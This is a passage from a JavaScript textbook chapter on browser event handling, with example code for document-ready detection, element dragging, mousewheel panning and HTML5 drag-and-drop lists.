The current draft DOM Events specification defines another method on the Event object, named `stopImmediatePropagation()`. Like `stopPropagation()`, this method prevents the propagation of the event to any other objects. But it also prevents the invocation of any other event handlers registered on the same object. At the time of this writing, some browsers support `stopImmediatePropagation()` and some do not. Some utility libraries, like jQuery and YUI, define `stopImmediatePropagation()` in a cross-platform way.

17.4 Document Load Events

Now that we've covered the fundamentals of JavaScript event handling, we'll start looking in more detail at specific categories of events. We begin, in this section, with document load events.

Most web applications need notification from the web browser to tell them when the document has been loaded and is ready to be manipulated. The load event on the Window object serves this purpose and was discussed in detail in Chapter 13, which included an `onLoad()` utility function in Example 13-5. The load event does not fire until a document and all of its images are fully loaded. It is usually safe, however, to start running your scripts after the document is fully parsed but before images are downloaded. You can improve the startup time of your web applications if you trigger your scripts on events other than "load".

The DOMContentLoaded event is fired when the document has been loaded and parsed and any deferred scripts have been executed. Images and `async` scripts may still be loading, but the document is ready to be manipulated. (Deferred and async scripts are explained in §13.3.1.) This event was introduced by Firefox, and it has been adopted by all other browser vendors, including Microsoft in IE9. Despite the "DOM" in its name, it is not part of the DOM Level 3 event standard, but it is standardized by HTML5.

As described in §13.3.4, the `document.readyState` property changes as the document loads. In IE, each change in state is accompanied by a readystatechange event on the Document object, and it is possible to use this event to determine when IE reaches the "complete" state. HTML5 standardizes the readystatechange event, but fires it immediately before the load event, so it is not clear that much advantage is gained by listening for "readystatechange" instead of "load".

Example 17-1 defines a `whenReady()` function that is much like the `onLoad()` function of Example 13-5. Functions passed to `whenReady()` will be invoked (as methods of the Document object) when the document is ready to be manipulated. Unlike the earlier `onLoad()` function, `whenReady()` listens for DOMContentLoaded and readystatechange events, and uses load events only as backup for older browsers that do not support the

earlier events. Some of the examples that follow (in this and subsequent chapters) use this `whenReady()` function.

Example 17-1. Invoking functions when the document is ready

```
/*
 * Pass a function to whenReady() and it will be invoked (as a method of the
 * document) when the document is parsed and ready for manipulation. Registered
 * functions are triggered by the first DOMContentLoaded, readystatechange, or
 * load event that occurs. Once the document is ready and all functions have
 * been invoked, any functions passed to whenReady() will be invoked
 * immediately.
 */
var whenReady = (function() { // This function returns the whenReady() function
    var funcs = [];    // The functions to run when we get an event
    var ready = false; // Switches to true when the handler is triggered

    // The event handler invoked when the document becomes ready
    function handler(e) {
        // If we've already run once, just return
        if (ready) return;

        // If this was a readystatechange event where the state changed to
        // something other than "complete", then we're not ready yet
        if (e.type === "readystatechange" && document.readyState !== "complete")
            return;

        // Run all registered functions.
        // Note that we look up funcs.length each time, in case calling
        // one of these functions causes more functions to be registered.
        for(var i = 0; i < funcs.length; i++)
            funcs[i].call(document);

        // Now set the ready flag to true and forget the functions
        ready = true;
        funcs = null;
    }

    // Register the handler for any event we might receive
    if (document.addEventListener) {
        document.addEventListener("DOMContentLoaded", handler, false);
        document.addEventListener("readystatechange", handler, false);
        window.addEventListener("load", handler, false);
    }
    else if (document.attachEvent) {
        document.attachEvent("onreadystatechange", handler);
        window.attachEvent("onload", handler);
    }

    // Return the whenReady function
    return function whenReady(f) {
        if (ready) f.call(document); // If already ready, just run it
        else funcs.push(f);          // Otherwise, queue it for later.
    }
}());
```

17.5 Mouse Events

There are quite a few mouse-related events. Table 17-1 lists them all. All mouse events except "mouseenter" and "mouseleave" bubble. Click events on links and Submit buttons have default actions that can be prevented. You may be able to cancel a context menu event to prevent the display of a context menu, but some browsers have configuration options that make context menus noncancelable.

Table 17-1. Mouse events

Type	Description
click	A higher-level event fired when the user presses and releases a mouse button or otherwise "activates" an element.
contextmenu	A cancelable event fired when a contextmenu is about to be popped up. Current browsers display context menus on right mouse clicks, so this event can also be used like the click event.
dblclick	Fired when the user double-clicks the mouse
mousedown	Fired when the user presses a mouse button
mouseup	Fired when the user releases a mouse button
mousemove	Fired when the user moves the mouse.
mouseover	Fired when the mouse enters an element. `relatedTarget` (or `fromElement` in IE); specifies what element the mouse is coming from.
mouseout	Fired when the mouse leaves an element. `relatedTarget` (or `toElement` in IE); specifies what element the mouse is going to.
mouseenter	Like "mouseover", but does not bubble. Introduced by IE and standardized in HTML5 but not yet widely implemented.
mouseleave	Like "mouseout", but does not bubble. Introduced by IE and standardized in HTML5 but not yet widely implemented.

The object passed to mouse event handlers has `clientX` and `clientY` properties that specify the coordinates of the mouse pointer relative to the containing window. Add the window's scroll offsets (see Example 15-8) to convert this position to document coordinates.

The `altKey`, `ctrlKey`, `metaKey`, and `shiftKey` properties specify whether various keyboard modifier keys were held down when the event occurred: this allows you to distinguish an ordinary click from a Shift-click, for example.

The `button` property specifies which mouse button, if any, was held down when the event occurred. Different browsers assign different values to this property, however, so it is difficult to use portably. See the Event reference page for details. Some browsers only fire click events for left button clicks. You should use mousedown and mouseup if you need to detect clicks of other buttons. The contextmenu event usually signals a right-button click, but as noted above, it may be impossible to prevent the appearance of a context menu when this event occurs.

The event object for mouse events has a few other mouse-specific properties, but they are not as commonly used as these. See the Event reference page for a list.

Example 17-2 shows a JavaScript function, `drag()`, that, when invoked from a `mouse down` event handler, allows an absolutely positioned document element to be dragged by the user. `drag()` works with both the DOM and IE event models.

`drag()` takes two arguments. The first is the element that is to be dragged. This may be the element on which the mousedown event occurred or a containing element (e.g., you might allow the user to drag on an element that looks like a titlebar to move the containing element that looks like a window). In either case, however, it must be a document element that is absolutely positioned using the CSS `position` attribute. The second argument is the event object from the triggering mousedown event. Here's a simple example that uses `drag()`. It defines an `<img>` that the user can drag if the Shift key is held down:

```
<img src="draggable.gif"
     style="position:absolute; left:100px; top:100px;"
     onmousedown="if (event.shiftKey) drag(this, event);">
```

The `drag()` function converts the position of the mousedown event to document coordinates in order to compute the distance between the mouse pointer and the upper-left corner of the element being moved. It uses `getScrollOffsets()` from Example 15-8 to help with the coordinate conversion. Next, `drag()` registers event handlers for the mousemove and mouseup events that follow the mousedown event. The mousemove handler is responsible for moving the document element, and the mouseup handler is responsible for deregistering itself and the mousemove handler.

It is important to note that the mousemove and mouseup handlers are registered as capturing event handlers. This is because the user may move the mouse faster than the document element can follow it, and if that happens, some of the mousemove events occur outside the original target element. Without capturing, those events will not be dispatched to the correct handlers. The IE event model does not support event capturing the way the standard event model does, but it does have a special-purpose `setCapture()` method for capturing mouse events in cases just like this. The example code shows how it works.

Finally, note that the `moveHandler()` and `upHandler()` functions are defined within `drag()`. Because they are defined in this nested scope, they can use the arguments and local variables of `drag()`, which considerably simplifies their implementation.

Example 17-2. Dragging document elements

```
/**
 * Drag.js: drag absolutely positioned HTML elements.
 *
 * This module defines a single drag() function that is designed to be called
 * from an onmousedown event handler. Subsequent mousemove events will
 * move the specified element. A mouseup event will terminate the drag.
 * This implementation works with both the standard and IE event models.
```

```
 * It requires the getScrollOffsets() function from elsewhere in this book.
 *
 * Arguments:
 *
 *   elementToDrag: the element that received the mousedown event or
 *     some containing element. It must be absolutely positioned. Its
 *     style.left and style.top values will be changed based on the user's
 *     drag.
 *
 *   event: the Event object for the mousedown event.
 **/
function drag(elementToDrag, event) {
    // The initial mouse position, converted to document coordinates
    var scroll = getScrollOffsets();  // A utility function from elsewhere
    var startX = event.clientX + scroll.x;
    var startY = event.clientY + scroll.y;

    // The original position (in document coordinates) of the element
    // that is going to be dragged.  Since elementToDrag is absolutely
    // positioned, we assume that its offsetParent is the document body.
    var origX = elementToDrag.offsetLeft;
    var origY = elementToDrag.offsetTop;

    // Compute the distance between the mouse down event and the upper-left
    // corner of the element. We'll maintain this distance as the mouse moves.
    var deltaX = startX - origX;
    var deltaY = startY - origY;

    // Register the event handlers that will respond to the mousemove events
    // and the mouseup event that follow this mousedown event.
    if (document.addEventListener) {  // Standard event model
        // Register capturing event handlers on the document
        document.addEventListener("mousemove", moveHandler, true);
        document.addEventListener("mouseup", upHandler, true);
    }
    else if (document.attachEvent) {  // IE Event Model for IE5-8
        // In the IE event model, we capture events by calling
        // setCapture() on the element to capture them.
        elementToDrag.setCapture();
        elementToDrag.attachEvent("onmousemove", moveHandler);
        elementToDrag.attachEvent("onmouseup", upHandler);
        // Treat loss of mouse capture as a mouseup event.
        elementToDrag.attachEvent("onlosecapture", upHandler);
    }

    // We've handled this event. Don't let anybody else see it.
    if (event.stopPropagation) event.stopPropagation();  // Standard model
    else event.cancelBubble = true;                      // IE

    // Now prevent any default action.
    if (event.preventDefault) event.preventDefault();   // Standard model
    else event.returnValue = false;                     // IE

    /**
     * This is the handler that captures mousemove events when an element
     * is being dragged. It is responsible for moving the element.
```

```
     **/
    function moveHandler(e) {
        if (!e) e = window.event;  // IE event Model

        // Move the element to the current mouse position, adjusted by the
        // position of the scrollbars and the offset of the initial click.
        var scroll = getScrollOffsets();
        elementToDrag.style.left = (e.clientX + scroll.x - deltaX) + "px";
        elementToDrag.style.top = (e.clientY + scroll.y - deltaY) + "px";

        // And don't let anyone else see this event.
        if (e.stopPropagation) e.stopPropagation();  // Standard
        else e.cancelBubble = true;                  // IE
    }

    /**
     * This is the handler that captures the final mouseup event that
     * occurs at the end of a drag.
     **/
    function upHandler(e) {
        if (!e) e = window.event;  // IE Event Model

        // Unregister the capturing event handlers.
        if (document.removeEventListener) {  // DOM event model
            document.removeEventListener("mouseup", upHandler, true);
            document.removeEventListener("mousemove", moveHandler, true);
        }
        else if (document.detachEvent) {  // IE 5+ Event Model
            elementToDrag.detachEvent("onlosecapture", upHandler);
            elementToDrag.detachEvent("onmouseup", upHandler);
            elementToDrag.detachEvent("onmousemove", moveHandler);
            elementToDrag.releaseCapture();
        }

        // And don't let the event propagate any further.
        if (e.stopPropagation) e.stopPropagation();  // Standard model
        else e.cancelBubble = true;                  // IE
    }
}
```

The following code shows how you can use `drag()` in an HTML file (it's a simplified version of Example 16-2, with the addition of dragging):

```
<script src="getScrollOffsets.js"></script> <!-- drag() requires this -->
<script src="Drag.js"></script>             <!-- defines drag() -->
<!-- The element to be dragged -->
<div style="position:absolute; left:100px; top:100px; width:250px;
            background-color: white; border: solid black;">
  <!-- The "titlebar" to drag it with. Note the onmousedown attribute. -->
  <div style="background-color: gray; border-bottom: dotted black;
              padding: 3px; font-family: sans-serif; font-weight: bold;"
       onmousedown="drag(this.parentNode, event);">
    Drag Me  <!-- The content of the titlebar -->
  </div>
<!-- Content of the draggable element -->
```

```
  <p>This is a test. Testing, testing, testing.</p><p>Test</p><p>Test</p>
</div>
```

The key here is the `onmousedown` attribute of the inner `<div>` element. Note that it uses `this.parentNode` to specify that the entire container element is to be dragged.

17.6 Mousewheel Events

All modern browsers support mouse wheels and fire events when the user rotates the mousewheel. Browsers often use the mousewheel to scroll the document or to zoom in or out, but you can cancel the mousewheel event to prevent those default actions.

There are a number of interoperability issues that affect mousewheel events, but it is possible to write code that works on all platforms. At the time of this writing, all browsers but Firefox support an event named "mousewheel". Firefox uses "DOMMouseScroll" instead. And the DOM Level 3 Events draft proposes an event named "wheel" instead of "mousewheel". In addition to the differences in event names, the objects passed to these various events use different property names to specify the amount of wheel rotation that occurred. Finally, note that there are fundamental hardware distinctions between mouse wheels as well. Some allow 1-dimensional rotation forward and back and some (particularly on Macs) also allow rotation left and right (on these mice the "wheel" is really a trackball). The DOM Level 3 standard even includes support for 3-dimensional mouse "wheels" that can report clockwise or counter-clockwise rotation in addition to forward/back and left/right.

The event object passed to a "mousewheel" handler has a `wheelDelta` property that specifies how far the user turned the wheel. One mousewheel "click" away from the user is generally a delta of 120 and one click toward the user is -120. In Safari and Chrome, to support Apple's mice that include a two-dimensional trackball instead of a one-dimensional mousewheel, the event object has `wheelDeltaX` and `wheelDeltaY` properties in addition to `wheelDelta`, and `wheelDelta` and `wheelDeltaY` are always the same value.

In Firefox you can the nonstandard DOMMouseScroll event instead of mousewheel and use the `detail` property of the event object instead of `wheelDelta`. The scaling and sign of this `detail` property is different than `wheelDelta`, however: multiply `detail` by -40 to compute the equivalent `wheelDelta` value.

At the time of this writing, the DOM Level 3 Events draft standard defines a wheel event as the standardized version of mousewheel and DOMMouseScroll. The object passed to a wheel event handler will have `deltaX`, `deltaY`, and `deltaZ` properties to specify rotation in three dimensions. You must multiply these values by -120 to match the value and sign of a mousewheel event.

For all of these event types, the event object is like a mouse event object: it includes mouse pointer coordinates and the state of the keyboard modifier keys.

Example 17-3 demonstrates how to work with mouse wheel events and how to do so interoperably across platforms. It defines a function named `enclose()` that wraps a "frame" or "viewport" of the specified size around a larger content element (such as an image) and defines a mouse wheel event handler that allows the user to pan the content element within the viewport and also to resize the viewport. You might use this `enclose()` function with code like this:

```
<script src="whenReady.js"></script>
<script src="Enclose.js"></script>
<script>
whenReady(function() {
    enclose(document.getElementById("content"),400,200,-200,-300);
});
</script>
<style>div.enclosure {  border: solid black 10px; margin: 10px; }</style>
<img id="content" src="testimage.jpg"/>
```

In order to work correctly in all common browsers, Example 17-3 must perform some browser testing (§13.4.5). The example anticipates the DOM Level 3 Events specification and includes code to use the wheel event when browsers implement it.[6] It also includes some future-proofing to stop using the DOMMouseScroll event when Firefox starts firing wheel or mousewheel. Note that Example 17-3 is also a practical example of the element geometry and CSS positioning techniques explained in §15.8 and §16.2.1.

Example 17-3. Handling mousewheel events

```
// Enclose the content element in a frame or viewport of the specified width
// and height (minimum 50x50). The optional contentX and contentY arguments
// specify the initial offset of the content relative to the frame. (If
// specified, they must be <= 0.) The frame has mousewheel event handlers that
// allow the user to pan the element, and to shrink or enlarge the frame.
function enclose(content, framewidth, frameheight, contentX, contentY) {
    // These arguments aren't just the initial values: they maintain the
    // current state and are used and modified by the mousewheel handler.
    framewidth = Math.max(framewidth, 50);
    frameheight = Math.max(frameheight, 50);
    contentX = Math.min(contentX, 0) || 0;
    contentY = Math.min(contentY, 0) || 0;

    // Create the frame element and set a CSS classname and styles
    var frame = document.createElement("div");
    frame.className = "enclosure"; // So we can define styles in a stylesheet
    frame.style.width = framewidth + "px";       // Set the frame size.
    frame.style.height = frameheight + "px";
    frame.style.overflow = "hidden";             // No scrollbars, no overflow
    frame.style.boxSizing = "border-box";        // Border-box simplifies the
    frame.style.webkitBoxSizing = "border-box";  // calculations for resizing
    frame.style.MozBoxSizing = "border-box";     // the frame.
```

6. This is risky: if future implementations do not match the draft specification current as I write this, this will backfire and the example will break.

```
// Put the frame in the document and move the content elt into the frame.
content.parentNode.insertBefore(frame, content);
frame.appendChild(content);

// Position the element relative to the frame
content.style.position = "relative";
content.style.left = contentX + "px";
content.style.top = contentY + "px";

// We'll need to work around some browser-specific quirks below
var isMacWebkit = (navigator.userAgent.indexOf("Macintosh") !== -1 &&
                   navigator.userAgent.indexOf("WebKit") !== -1);
var isFirefox = (navigator.userAgent.indexOf("Gecko") !== -1);

// Register mousewheel event handlers.
frame.onwheel = wheelHandler;       // Future browsers
frame.onmousewheel = wheelHandler;  // Most current browsers
if (isFirefox)                      // Firefox only
    frame.addEventListener("DOMMouseScroll", wheelHandler, false);

function wheelHandler(event) {
    var e = event || window.event;  // Standard or IE event object

    // Extract the amount of rotation from the event object, looking
    // for properties of a wheel event object, a mousewheel event object
    // (in both its 2D and 1D forms), and the Firefox DOMMouseScroll event.
    // Scale the deltas so that one "click" toward the screen is 30 pixels.
    // If future browsers fire both "wheel" and "mousewheel" for the same
    // event, we'll end up double-counting it here. Hopefully, however,
    // cancelling the wheel event will prevent generation of mousewheel.
    var deltaX = e.deltaX*-30 ||  // wheel event
              e.wheelDeltaX/4 ||  // mousewheel
                            0;    // property not defined
    var deltaY = e.deltaY*-30 ||  // wheel event
              e.wheelDeltaY/4 ||  // mousewheel event in Webkit
(e.wheelDeltaY===undefined &&     // if there is no 2D property then
              e.wheelDelta/4) ||  // use the 1D wheel property
                 e.detail*-10 ||  // Firefox DOMMouseScroll event
                           0;     // property not defined

    // Most browsers generate one event with delta 120 per mousewheel click.
    // On Macs, however, the mousewheels seem to be velocity-sensitive and
    // the delta values are often larger multiples of 120, at
    // least with the Apple Mouse. Use browser-testing to defeat this.
    if (isMacWebkit) {
        deltaX /= 30;
        deltaY /= 30;
    }

    // If we ever get a mousewheel or wheel event in (a future version of)
    // Firefox, then we don't need DOMMouseScroll anymore.
    if (isFirefox && e.type !== "DOMMouseScroll")
        frame.removeEventListener("DOMMouseScroll", wheelHandler, false);

    // Get the current dimensions of the content element
    var contentbox = content.getBoundingClientRect();
```


Download from Wow! eBook <www.wowebook.com>

```
        var contentwidth = contentbox.right - contentbox.left;
        var contentheight = contentbox.bottom - contentbox.top;

        if (e.altKey) {  // If Alt key is held down, resize the frame
            if (deltaX) {
                framewidth -= deltaX; // New width, but not bigger than the
                framewidth = Math.min(framwidth, contentwidth);  // content
                framewidth = Math.max(framewidth,50);   // and no less than 50.
                frame.style.width = framewidth + "px";  // Set it on frame
            }
            if (deltaY) {
                frameheight -= deltaY;  // Do the same for the frame height
                frameheight = Math.min(frameheight, contentheight);
                frameheight = Math.max(frameheight-deltaY, 50);
                frame.style.height = frameheight + "px";
            }
        }
        else { // Without the Alt modifier, pan the content within the frame
            if (deltaX) {
                // Don't scroll more than this
                var minoffset = Math.min(framewidth-contentwidth, 0);
                // Add deltaX to contentX, but don't go lower than minoffset
                contentX = Math.max(contentX + deltaX, minoffset);
                contentX = Math.min(contentX, 0);     // or higher than 0
                content.style.left = contentX + "px"; // Set new offset
            }
            if (deltaY) {
                var minoffset = Math.min(frameheight - contentheight, 0);
                // Add deltaY to contentY, but don't go lower than minoffset
                contentY = Math.max(contentY + deltaY, minoffset);
                contentY = Math.min(contentY, 0);     // Or higher than 0
                content.style.top = contentY + "px";  // Set the new offset.
            }
        }

        // Don't let this event bubble. Prevent any default action.
        // This stops the browser from using the mousewheel event to scroll
        // the document. Hopefully calling preventDefault() on a wheel event
        // will also prevent the generation of a mousewheel event for the
        // same rotation.
        if (e.preventDefault) e.preventDefault();
        if (e.stopPropagation) e.stopPropagation();
        e.cancelBubble = true;  // IE events
        e.returnValue = false;  // IE events
        return false;
    }
}
```

17.7 Drag and Drop Events

Example 17-2 showed how to respond to mouse drags within an application. It is possible to use techniques like that to allow elements to be dragged and "dropped" within a web page, but true "drag-and-drop" is something else. Drag-and-drop (or DnD) is a user interface for transferring data between a "drag source" and "drop target" that may

be in the same application or in different applications. DnD is a complex human/computer interaction, and APIs for implementing DnD are always complicated:

- They have to tie into the underlying OS so that they can work between unrelated applications.
- They must accommodate "move", "copy", and "link" data-transfer operations, allow the drag source and drop target to restrict the set of allowed operations, and then allow the user to choose (usually using keyboard modifiers) among the permitted set.
- They must provide a way for a drag source to specify the icon or image to be dragged.
- They must provide event-based notification to both the drag source and the drop target of the progress of the DnD interaction.

Microsoft introduced a DnD API into early versions of IE. It was not a well-designed or well-documented API, but other browsers have attempted to replicate it, and HTML5 standardizes something like the IE API and then adds new features that make the API much easier to use. This new easy-to-use DnD API is not implemented at the time of this writing, so this section covers the IE API, as blessed by the HTML5 standard.

The IE DnD API is tricky to use and implementation differences in current browsers make it impossible to use some of the more sophisticated parts of the API interoperably, but it does allow web applications to participate in interapplication DnD like regular desktop applications can. Browsers have always been able to perform simple DnD. If you select text in a web browser, it is easy to drag that text into a word processor. And if you select a URL in a word processor, you can drag it to the browser to make the browser visit the URL. What this section demonstrates is how to create custom drag sources that transfer data other than their textual content and custom drop targets that respond to dropped data in some way other than simply displaying it.

DnD is always event-based and the JavaScript API involves two sets of events: one set that is fired on the drag source and another set that is fired on the drop target. All DnD event handlers are passed an event object that is like a mouse event object, with the addition of a `dataTransfer` property. This property refers to a DataTransfer object that defines the methods and properties of the DnD API.

Drag source events are relatively simple and we'll begin with them. Any document element that has the HTML `draggable` attribute is a drag source. When the user begins a mouse drag over a drag source, the browser does not select the element content: instead, it fires a `dragstart` event on the element. Your handler for that event should call `dataTransfer.setData()` to specify the data (and the type of that data) that the drag source is making available. (When the new HTML5 API is implemented, you might call `dataTransfer.items.add()` instead.) Your handler may also want to set `dataTransfer.effectAllowed` to specify which of the "move", "copy", and "link" transfer operations are supported and it might want to call `dataTransfer.setDragImage()` or

`dataTransfer.addElement()` (in browsers that support those methods) to specify an image or document element to be used as the visual representation of the drag.

While the drag progresses, the browser fires drag events on the drag source. You can listen for these events if you want to update the drag image or alter the data being offered, but it is not generally necessary to register "drag" handlers.

When a drop occurs, the dragend event is fired. If your drag source supports a "move" operation, it should check `dataTransfer.dropEffect` to see if a move operation was actually performed. If so, the data has been transferred elsewhere, and you should delete it from the drag source.

The dragstart event is the only one you need to implement simple custom drag sources. Example 17-4 is an example. It displays the current time in "hh:mm" format in a `<span>` element and updates the time once a minute. If this was all the example did, the user could select the text displayed in the clock and then drag the time. But the JavaScript code in this example makes the clock into a custom drag source by setting the `draggable` property of this clock element to `true` and defining an `ondragstart` event handler function. The event handler uses `dataTransfer.setData()` to specify a complete timestamp string (including the date, seconds, and timezone information) as the data to be dragged. It also calls `dataTransfer.setDragIcon()` to specify an image (a clock icon) to be dragged.

Example 17-4. A custom drag source

```
<script src="whenReady.js"></script>
<script>
whenReady(function() {
    var clock = document.getElementById("clock");  // The clock element
    var icon = new Image();                        // An image to drag
    icon.src = "clock-icon.png";                   // Image URL

    // Display the time once every minute
    function displayTime() {
        var now = new Date();               // Get current time
        var hrs = now.getHours(), mins = now.getMinutes();
        if (mins < 10) mins = "0" + mins;
        clock.innerHTML = hrs + ":" + mins; // Display current time
        setTimeout(displayTime, 60000);     // Run again in 1 minute
    }
    displayTime();

    // Make the clock draggable
    // We can also do this with an HTML attribute: <span draggable="true">...
    clock.draggable = true;

    // Set up drag event handlers
    clock.ondragstart = function(event) {
        var event = event || window.event; // For IE compatability

        // The dataTransfer property is key to the drag-and-drop API
        var dt = event.dataTransfer;
```

```
        // Tell the browser what is being dragged.
        // The Date() constructor used as a function returns a timestamp string
        dt.setData("Text", Date() + "\n");

        // Tell the browser to drag our icon to represent the timestamp, in
        // browsers that support that. Without this line, the browser may
        // use an image of the clock text as the value to drag.
        if (dt.setDragImage) dt.setDragImage(icon, 0, 0);
    };
});
</script>
<style>
#clock { /* Make the clock look nice */
    font: bold 24pt sans; background: #ddf; padding: 10px;
    border: solid black 2px; border-radius: 10px;
}
</style>
<h1>Drag timestamps from the clock</h1>
<span id="clock"></span>  <!-- The time is displayed here -->
<textarea cols=60 rows=20></textarea> <!-- You can drop timestamps here -->
```

Drop targets are trickier than drag sources. Any document element can be a drop target: there is no need to set an HTML attribute as there is for drag sources; you simply need to define appropriate event listeners. (With the new HTML5 DnD API, however, you will be able to define a `dropzone` attribute on the drop target instead of defining some of the event handlers described below.) There are four events that are fired at drop targets. When a dragged object enters a document element, the browser fires a dragenter event on that element. Your drop target should use the `dataTransfer.types` property to determine whether the dragged object has data available in a format that it can understand. (You might also want to check `dataTransfer.effectAllowed` to ensure that the drag source and your drop target can agree on one of the move, copy, and link operations.) If these checks succeed, your drop target must let both the user and the browser know that it is interested in a drop. You can give this feedback to the user by changing its border or background color. Surprisingly, a drop target tells the browser that it is interested in a drop by canceling the event.

If an element does not cancel the dragenter event the browser sends it, the browser will not treat it as a drop target for this drag and will not send it any more events. But if a drop target does cancel the dragenter event, the browser will send dragover events as the user continues to drag the object over that target. Surprisingly (again) a drop target must listen for and cancel all of these events to indicate its continued interest in the drop. If the drop target wants to specify that it only allows move, copy, or link operations, it should use this dragover event handler to set `dataTransfer.dropEffect`.

If the user moves the dragged object off of a drop target that has indicated interest by canceling events, then the dragleave event will be fired on the drop target. The handler for this event should restore the element's border or background color or undo any other visual feedback performed in response to the dragenter event. Unfortunately, both the dragenter and dragleave events bubble and if a drop target has elements nested

within it, it is difficult to know whether a dragleave event means that the drag has left the drop target for an event outside of the target or for an event inside the target.

Finally, if the user drops an object on a drop target, the drop event is fired on the drop target. The handler for this event should use the `dataTransfer.getData()` to obtain the data that was transferred and do something appropriate with it. Alternatively, if the user dropped one or more files on the drop target, the `dataTransfer.files` property will be an array-like object of File objects. (See Example 18-11 for a demonstration.) With the new HTML5 API, drop event handlers will be able to loop through the elements of `dataTransfer.items[]` to examine both files and nonfile data.

Example 17-5 demonstrates how to make `<ul>` elements into drop targets and how to make the `<li>` elements within them into drag sources. The example is a piece of unobtrusive JavaScript that looks for `<ul>` elements with a `class` attribute that includes "dnd" and registers DnD event handlers on any such lists it finds. The event handlers make the list itself into a drop target: any text you drop onto the list is turned into a new list item and is inserted at the end of the list. The event handlers also listen for drags on the items within the list and make the text of each list item available for transfer. The drag source handlers allow "copy" and "move" operations and delete list items that are dropped in move operations. (Note, however, that not all browsers support move operations interoperably.)

Example 17-5. A list as drop target and drag source

```
/*
 * The DnD API is quite complicated, and browsers are not fully interoperable.
 * This example gets the basics right, but each browser is a little different
 * and each one seems to have its own unique bugs. This code does not attempt
 * browser-specific workarounds.
 */
whenReady(function() {  // Run this function when the document is ready

    // Find all <ul class='dnd'> elements and call the dnd() function on them
    var lists = document.getElementsByTagName("ul");
    var regexp = /\bdnd\b/;
    for(var i = 0; i < lists.length; i++)
        if (regexp.test(lists[i].className)) dnd(lists[i]);

    // Add drag-and-drop handlers to a list element
    function dnd(list) {
        var original_class = list.className;  // Remember original CSS class
        var entered = 0;                      // Track enters and leaves

        // This handler is invoked when a drag first enters the list. It checks
        // that the drag contains data in a format it can process and, if so,
        // returns false to indicate interest in a drop. In that case, it also
        // highlights the drop target to let the user know of that interest.
        list.ondragenter = function(e) {
            e = e || window.event;  // Standard or IE event
            var from = e.relatedTarget;

            // dragenter and dragleave events bubble, which makes it tricky to
```

```
    // know when to highlight or unhighlight the element in a case like
    // this where the <ul> element has <li> children. In browsers that
    // define relatedTarget we can track that.
    // Otherwise, we count enter/leave pairs

    // If we entered from outside the list or if
    // this is the first entrance then we need to do some stuff
    entered++;
    if ((from && !ischild(from, list)) || entered == 1) {

        // All the DnD info is in this dataTransfer object
        var dt = e.dataTransfer;

        // The dt.types object lists the types or formats that the data
        // being dragged is available in. HTML5 says the type has a
        // contains() method. In some browsers it is an array with an
        // indexOf method. In IE8 and before, it simply doesn't exist.
        var types = dt.types;    // What formats data is available in

        // If we don't have any type data or if data is
        // available in plain text format, then highlight the
        // list to let the user know we're listening for drop
        // and return false to let the browser know.
        if (!types ||                                          // IE
            (types.contains && types.contains("text/plain")) || //HTML5
            (types.indexOf && types.indexOf("text/plain")!=-1)) //Webkit
        {
            list.className = original_class + " droppable";
            return false;
        }
        // If we don't recognize the data type, we don't want a drop
        return;   // without canceling
    }
    return false; // If not the first enter, we're still interested
};

// This handler is invoked as the mouse moves over the list.
// We have to define this handler and return false or the drag
// will be canceled.
list.ondragover = function(e) { return false; };

// This handler is invoked when the drag moves out of the list
// or out of one of its children. If we are actually leaving the list
// (not just going from one list item to another), then unhighlight it.
list.ondragleave = function(e) {
    e = e || window.event;
    var to = e.relatedTarget;

    // If we're leaving for something outside the list or if this leave
    // balances out the enters, then unhighlight the list
    entered--;
    if ((to && !ischild(to,list)) || entered <= 0) {
        list.className = original_class;
        entered = 0;
    }
    return false;
```

```
};

// This handler is invoked when a drop actually happens.
// We take the dropped text and make it into a new <li> element
list.ondrop = function(e) {
    e = e || window.event;       // Get the event

    // Get the data that was dropped in plain text format.
    // "Text" is a nickname for "text/plain".
    // IE does not support "text/plain", so we use "Text" here.
    var dt = e.dataTransfer;       // dataTransfer object
    var text = dt.getData("Text"); // Get dropped data as plain text.

    // If we got some text, turn it into a new item at list end.
    if (text) {
        var item = document.createElement("li"); // Create new <li>
        item.draggable = true;                   // Make it draggable
        item.appendChild(document.createTextNode(text)); // Add text
        list.appendChild(item);                  // Add it to the list

        // Restore the list's original style and reset the entered count
        list.className = original_class;
        entered = 0;

        return false;
    }
};

// Make all items that were originally in the list draggable
var items = list.getElementsByTagName("li");
for(var i = 0; i < items.length; i++)
    items[i].draggable = true;

// And register event handlers for dragging list items.
// Note that we put these handlers on the list and let events
// bubble up from the items.

// This handler is invoked when a drag is initiated within the list.
list.ondragstart = function(e) {
    var e = e || window.event;
    var target = e.target || e.srcElement;
    // If it bubbled up from something other than a <li>, ignore it
    if (target.tagName !== "LI") return false;
    // Get the all-important dataTransfer object
    var dt = e.dataTransfer;
    // Tell it what data we have to drag and what format it is in
    dt.setData("Text", target.innerText || target.textContent);
    // Tell it we know how to allow copies or moves of the data
    dt.effectAllowed = "copyMove";
};

// This handler is invoked after a successful drop occurs
list.ondragend = function(e) {
    e = e || window.event;
    var target = e.target || e.srcElement;
```

```
            // If the drop was a move, then delete the list item.
            // In IE8, this will be "none" unless you explicitly set it to
            // move in the ondrop handler above.  But forcing it to "move" for
            // IE prevents other browsers from giving the user a choice of a
            // copy or move operation.
            if (e.dataTransfer.dropEffect === "move")
                target.parentNode.removeChild(target);
        }

        // This is the utility function we used in ondragenter and ondragleave.
        // Return true if a is a child of b.
        function ischild(a,b) {
            for(; a; a = a.parentNode) if (a === b) return true;
            return false;
        }
    }
});
```


17.8 Text Events

Browsers have three legacy events for keyboard input. The keydown and keyup events are low-level events that are covered in the next section. The keypress event, however, is a higher-level event that signals that a printable character has been generated. The DOM Level 3 Events draft specification defines a more general textinput event triggered whenever the user inputs text regardless of the source (a keyboard, data transfer in the form of a paste or a drop, an Asian-language input method, or a voice or handwriting recognition system, for example). The textinput event is not supported at the time of this writing, but Webkit browsers support a very similar "textInput" (with a capital letter I) event.

The proposed textinput event and the currently implemented textInput event are passed a simple event object with a `data` property that holds the input text. (Another property, `inputMethod`, is proposed to specify the source of the input, but it has not yet been implemented.) For keyboard input, the `data` property will usually hold only a single character, but input from other sources may often include multiple characters.

